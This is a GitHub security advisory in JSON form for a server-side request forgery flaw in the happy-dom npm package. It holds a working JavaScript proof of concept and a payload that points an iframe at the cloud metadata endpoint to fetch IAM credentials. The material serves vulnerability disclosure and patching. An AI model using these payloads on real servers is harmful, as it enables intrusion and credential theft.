{"schema_version":"1.9.2","id":"GHSA-c8p4-j97h-3vg8","published":"2026-10-28T21:06:42Z","modified":"2026-10-28T21:15:05.975638337Z","aliases":["CVE-2026-118660"],"summary":"Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML","details":"## Summary\nhappy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing `<iframe>` or `<link rel=\"stylesheet\">` elements. This behavior is enabled by default (`disableIframePageLoading: false`, `disableCSSFileLoading: false`). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.\n\n## Affected Versions\n- happy-dom <= 20.8.9 (latest)\n\n## Vulnerable Behavior\n\nBy default, happy-dom has:\n- `disableIframePageLoading: false` — iframes fetch their `src` URL via real HTTP requests\n- `disableCSSFileLoading: false` — `<link>` stylesheets fetch their `href` URL via real HTTP requests\n\nWhen untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.\n\n## Proof of Concept\n\n### Verified test (attacker server receives requests):\n```javascript\nconst http = require('http');\nconst { Window } = require('happy-dom');\n\n// Start attacker server\nconst srv = http.createServer((req, res) => {\n    console.log(`SSRF HIT: ${req.method} ${req.url}`);\n    res.writeHead(200, {'Content-Type': 'text/html'});\n    res.end('<html><body>stolen</body></html>');\n});\n\nsrv.listen(9995, () => {\n    // iframe SSRF — happy-dom makes a real GET request\n    const win1 = new Window({ url: 'http://localhost' });\n    win1.document.write('<html><body><iframe src=\"http://127.0.0.1:9995/iframe-ssrf\"></iframe></body></html>');\n\n    // stylesheet SSRF — happy-dom makes a real GET request\n    const win2 = new Window({ url: 'http://localhost' });\n    win2.document.write('<html><head><link rel=\"stylesheet\" href=\"http://127.0.0.1:9995/stylesheet-ssrf\"></head><body></body></html>');\n});\n```\n\n**Test output:**\n```\nSSRF HIT: GET /iframe-ssrf\nSSRF HIT: GET /stylesheet-ssrf\n```\n\nBoth requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.\n\n### Cloud metadata attack scenario:\n```javascript\nconst { Window } = require('happy-dom');\nconst win = new Window({ url: 'http://localhost' });\n\n// Attacker-controlled HTML triggers fetch to AWS metadata endpoint\nwin.document.write('<html><body><iframe src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"></iframe></body></html>');\n```\n\n## Impact\n- **Cloud credential theft** — `<iframe src=\"http://169.254.169.254/...\">` fetches AWS/GCP/Azure metadata\n- **Internal network scanning** — probe internal services and ports\n- **Data exfiltration** — read responses from internal APIs\n- **Affects any server-side use case** — web scraping, email HTML rendering, SSR, testing with external HTML input\n\n## Suggested Fix\nChange defaults to disable external resource loading:\n```javascript\ndisableIframePageLoading: true,  // change from false\ndisableCSSFileLoading: true,     // change from false\n```\n\nOr add URL validation to block private IP ranges and cloud metadata endpoints before fetching.","affected":[{"package":{"name":"happy-dom","ecosystem":"npm","purl":"pkg:npm/happy-dom"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"21.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 20.14.6","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-c8p4-j97h-3vg8/GHSA-c8p4-j97h-3vg8.json"}}],"references":[{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/security/advisories/GHSA-c8p4-j97h-3vg8"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/pull/2502"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/commit/0a99c7525a1d0043e3182843ae33466ab7b19e74"},{"type":"PACKAGE","url":"https://github.com/capricorn86/happy-dom"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/releases/tag/v21.0.0"}],"database_specific":{"cwe_ids":["CWE-918"],"github_reviewed":true,"github_reviewed_at":"2026-10-28T21:06:42Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"}]}